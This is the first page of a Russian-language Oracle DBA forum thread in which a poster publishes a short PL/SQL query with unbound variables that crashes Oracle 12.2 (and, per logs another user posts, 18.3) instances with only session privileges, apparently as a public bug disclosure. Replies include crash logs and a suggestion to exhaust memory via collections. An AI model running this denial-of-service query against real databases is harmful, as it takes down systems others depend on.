powered by simpleCommunicator - 2.0.53     © 2025 Programmizd 02
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Как завалить экземпляр 12.2 одним запросом
25 сообщений из 29, страница 1 из 2
Как завалить экземпляр 12.2 одним запросом
    #39806558
Wornet
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
мы тут, случайно, нашли способ завалить rdbms версии 12.2 одним единственным запросом, для которого достаточно обладать привилегией create session
патчи не помогают(23493031 например). патч-левел БД может быть любой - как голый 12.2, так и самый распоследний PSU. ОС тоже любая - валится и на линуксе и на винде.
уровень поддержки не позволяет нам создавать SR, возможно, публикация в открытом источнике позволит достучаться до вендора, и он прикроет дырочку.
обладатели 18 и 19ой версии могут попробовать на более свежей БД, отпишитесь, пожалуйста, падает ли базовод в этих версиях?

вот, собственно, сабж:
Код: plsql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
var v_res number;
var v_aaa number;
var v_bbb number;
var v_ccc number;
var v_ddd number;
var v_eee number;
var v_fff number;
WITH
      FUNCTION get_number(p_aaa in number,
                          p_bbb in number,
                          p_ccc in number,
                          p_ddd in number,
                          p_eee in number,
                          p_fff in number ) RETURN NUMBER IS
      BEGIN
          RETURN :v_res + 12345;
      END;
  SELECT DUMMY, get_number(:v_aaa,
                           :v_bbb,
                           :v_ccc,
                           :v_ddd,
                           :v_eee,
                           :v_fff)
  FROM DUAL;
/
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806562
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Wornet, и он прикроет дырочку.В чём конкретно заключается твоя проблема? Ты не можешь не писать подобной херни?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806569
Вячеслав Любомудров
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
А что не понятно?
Хочет напрячь саппорт на скорейший выпуск патча чтоб закрыть дыру
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806583
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Вячеслав Любомудровчтоб закрыть дыруДыру с чьей точки зрения?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806585
Вячеслав Любомудров
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
С т.з. админа, например

Очень неприятно, что есть код, который валит экземпляр и никак от этого не защитишься

Непонятно, что здесь может быть непонятно
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806619
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Вячеслав ЛюбомудровНепонятно, что здесь может быть непонятноРазработчики, это твари, которые норовят замутить инъекцию назло админам, вместо того, что исправить код до работоспособного состояния?

И что делать с решением задач? Отложить на год, два, ∞ в ожидании патча? Не здравее ли будет объехать прямо сейчас?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806626
withrecursive
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
ElicВячеслав ЛюбомудровНепонятно, что здесь может быть непонятноРазработчики, это твари, которые норовят замутить инъекцию назло админам, вместо того, что исправить код до работоспособного состояния?
Причем тут разработчики, когда этот код может выполнить любой юзер подключившись девелопером?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806632
Фотография Vivat!San
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
withrecursiveПричем тут разработчики, когда этот код может выполнить любой юзер подключившись девелопером?

если это так на проме, то Вам никакой патч не поможет.
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806643
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
withrecursiveлюбой юзер подключившись девелопером?Пользователи ходят в БД через не предназначенное для обычных пользователей гуй?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806652
Фотография Aliona
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ElicПользователи ходят в БД через не предназначенное для обычных пользователей гуй?
Подозреваю, что такое много где практикуется.
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806680
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
AlionaПодозреваю, что такое много где практикуется.Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806690
withrecursive
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
ElicПользователи ходят в БД через не предназначенное для обычных пользователей гуй?
Естественно через гуй, но зная логин и пароль можно войти через девелопер.
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806724
Фотография Stax
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ElicAlionaПодозреваю, что такое много где практикуется.Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
формс+sql*plus+печать на матричному

.....
stax
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806736
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Staxформс+sql*plus+печать на матричномуЗачем вам 12cR2?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806749
andreymx
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Так валится ошибка или нет?
Или обсуждение умственных способностей ТС намного интереснее?

ЗЫ: завалить дев-БД - оно тоже никому нафиг не надо
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806756
Фотография Stax
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ElicStaxформс+sql*plus+печать на матричномуЗачем вам 12cR2?

пока незачем

я не искал подобный скрипт для 11-ки, и на 12+ -ке не буду проверять

хотя можно и попробовать, напр в ораклячем апексе

....
stax
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806759
Фотография Vivat!San
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
andreymxТак валится ошибка или нет?
Или обсуждение умственных способностей ТС намного интереснее?

ЗЫ: завалить дев-БД - оно тоже никому нафиг не надо

Он ошибку бы хоть выложил для начала.
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806774
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Vivat!Sanошибку бы хоть выложил для начала.
12.22019-04-26T10:55:50.489556+03:00
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_ora_10892.trc (incident=100047):
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
ORA-01006: bind variable does not exist
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_100047\elic122_ora_10892_i100047.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T10:55:55.798556+03:00
opiodr aborting process unknown ospid (10892) as a result of ORA-600
2019-04-26T10:55:56.112556+03:00
Dumping diagnostic data in directory=[cdmp_20190426105556], requested by (instance=1, osid=10892), summary=[incident=100047].
2019-04-26T10:55:58.976556+03:00
ERROR: Unable to normalize symbol name for the following short stack (at offset 350):
dbgexProcessError()+398<-dbgePostErrorKGE()+2191<-dbkePostKGE_kgsf()+90<-kgeade()+453<-kgeriv_int()+142<-kgeriv()+40<-kgeric1()+64<-kgherror()+364<-kghfrmrg()+3104<-kghsfx()+751<-kghungex()+327<-kghfrh()+2193<-kksFreeHeap()+606<-kksLockDelete()+1079<-kksLockOperation()+361<-kgllkdl()+4656<-kss_del_cb()+535<-kssxdl()+1447<-kssdel()+1253<-kssdch_int..0()+5297<-kssdch()+16<-ksuxds()+1638<-kss_del_cb()+243<-kssxdl()+1447<-kssdel()+1253<-kssdch_int..0()+5297<-kssdch()+16<-ksudlp()+389<-kss_del_cb()+243<-kssxdl()+1447<-kssdel()+1253<-ksuxdl()+720<-ksucln_dpc_cleanup()+511<-ksucln_dpc_dfs()+428<-ksucln_dpc_main()+1262<-ksucln_clean_main()+3598<-ksbrdp()+1556<-opirip()+1539<-opidrv()+960<-sou2o()+112<-opimai_real()+222<-opimai()+231<-BackgroundThreadStart()+702<-000000007715571D<-00000000772B385D
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc (incident=99871):
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_99871\elic122_clmn_42500_i99871.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T10:56:00.771556+03:00
Dumping diagnostic data in directory=[cdmp_20190426105600], requested by (instance=1, osid=42500 (CLMN)), summary=[incident=99871].
2019-04-26T10:56:00.852556+03:00
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc:
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc (incident=99872):
ORA-501 [] [] [] [] [] [] [] [] [] [] [] []
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_99872\elic122_clmn_42500_i99872.trc
2019-04-26T10:56:01.848556+03:00
USER (ospid: 42500): terminating the instance due to error 501
2019-04-26T10:56:01.878556+03:00
System state dump requested by (instance=1, osid=42500 (CLMN)), summary=[abnormal instance termination].
System State dumped to trace file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_diag_41284_20190426105601.trc
2019-04-26T10:56:15.695556+03:00
Instance terminated by USER, pid = 42500
18.32019-04-26T13:23:11.491556+03:00
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_ora_8380.trc (incident=33755):
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
ORA-01006: bind variable does not exist
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33755\elic18_ora_8380_i33755.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T13:23:14.266556+03:00
*****************************************************************
An internal routine has requested a dump of selected redo.
This usually happens following a specific internal error, when
analysis of the redo logs will help Oracle Support with the
diagnosis.
It is recommended that you retain all the redo logs generated (by
all the instances) during the past 12 hours, in case additional
redo dumps are required to help with the diagnosis.
*****************************************************************
2019-04-26T13:23:20.751556+03:00
opiodr aborting process unknown ospid (8380) as a result of ORA-600
2019-04-26T13:23:21.191556+03:00
Dumping diagnostic data in directory=[cdmp_20190426132321], requested by (instance=1, osid=8380), summary=[incident=33755].
2019-04-26T13:23:23.999556+03:00
ERROR: Unable to normalize symbol name for the following short stack (at offset 397):
dbgexPopulateIncCtx()+115<-dbgexProcessError()+398<-dbgePostErrorKGE()+2293<-dbkePostKGE_kgsf()+90<-kgeade()+438<-kgeriv_int()+144<-kgeriv()+61<-kgeric1l()+84<-kgherror_flag()+476<-kgherror()+31<-kghfrmrg()+3745<-kghfre()+717<-kghungex()+327<-kghfrh()+2262<-kksFreeHeap()+610<-kksLockDelete()+1101<-kksLockOperation()+1706<-kgllkds()+4772<-kss_del_cb()+544<-kssxdl()+887<-kssdel()+100<-kssdch_int..0()+5012<-kssdch()+16<-ksuxds()+1643<-kss_del_cb()+250<-kssxdl()+887<-kssdel()+100<-kssdch_int..0()+5012<-kssdch()+16<-ksudlp_int()+397<-ksudlp()+97<-kss_del_cb()+250<-kssxdl()+887<-kssdel()+100<-ksuxdl()+1135<-ksucln_dpc_cleanup()+496<-ksucln_dpc_dfs()+433<-ksucln_dpc_main()+1342<-ksucln_clean_main()+1630<-ksbrdp()+1629<-opirip()+777<-opidrv()+982<-sou2o()+112<-opimai_real()+294<-opimai()+255<-BackgroundThreadStart()+702<-0x000000007715571D<-0x00000000772B385D
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc (incident=33307):
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33307\elic18_clmn_22708_i33307.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T13:23:25.275556+03:00
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc:
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc (incident=33308):
ORA-501 [] [] [] [] [] [] [] [] [] [] [] []
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33308\elic18_clmn_22708_i33308.trc
2019-04-26T13:23:25.861556+03:00
Dumping diagnostic data in directory=[cdmp_20190426132325], requested by (instance=1, osid=22708 (CLMN)), summary=[incident=33307].
2019-04-26T13:23:26.206556+03:00
USER (ospid: 22708): terminating the instance due to ORA error 501
2019-04-26T13:23:26.234556+03:00
System state dump requested by (instance=1, osid=22708 (CLMN)), summary=[abnormal instance termination].
System State dumped to trace file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_diag_19232_20190426132326.trc
2019-04-26T13:23:29.360556+03:00
opiodr aborting process unknown ospid (54964) as a result of ORA-1092
2019-04-26T13:23:42.634556+03:00
Instance terminated by USER, pid = 22708
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806776
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Elicosid=42500 (CLMN)Прост так процесс ЁКЛМН не назовут…
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806783
withrecursive
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Wornet19ой версии могут попробовать на более свежей БД, отпишитесь, пожалуйста, падает ли базовод в этих версиях?
[src PLSQL]
livesql.oracle.com (Oracle Database 19c Enterprise Edition - 19.2.0.0.0) выдает вот такое
автор1 error has occurred
Error: Internal Server Error
После этого на любой запрос выдает тоже самое (помогает только reset session)
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806784
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
withrecursiveпомогает только reset sessionБлин. До конца не упали...
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806806
Фотография DВА
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Вячеслав ЛюбомудровС т.з. админа, например

Очень неприятно, что есть код, который валит экземпляр и никак от этого не защитишься

Непонятно, что здесь может быть непонятно

а чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806811
Фотография Elic
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
DВАа чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?Так от этого ж вроде защита есть? Да и, вроде как, на линуксах это будет не вся, а 4G?
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806813
Фотография DВА
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ElicDВАа чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?Так от этого ж вроде защита есть? Да и, вроде как, на линуксах это будет не вся, а 4G?
для кого и 4 гига это вся )))
на самом деле можно расширить границу, и это на один процесс ограничение
Если pga_aggregate_limit, то не очень надежная защита )
...
Рейтинг: 0 / 0
Как завалить экземпляр 12.2 одним запросом
    #39806823
Алекссс
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ElicAlionaПодозреваю, что такое много где практикуется.Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
вообще-то sql придумали для аналитиков
...
Рейтинг: 0 / 0
25 сообщений из 29, страница 1 из 2
Форумы / Oracle [игнор отключен] [закрыт для гостей] / Как завалить экземпляр 12.2 одним запросом
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]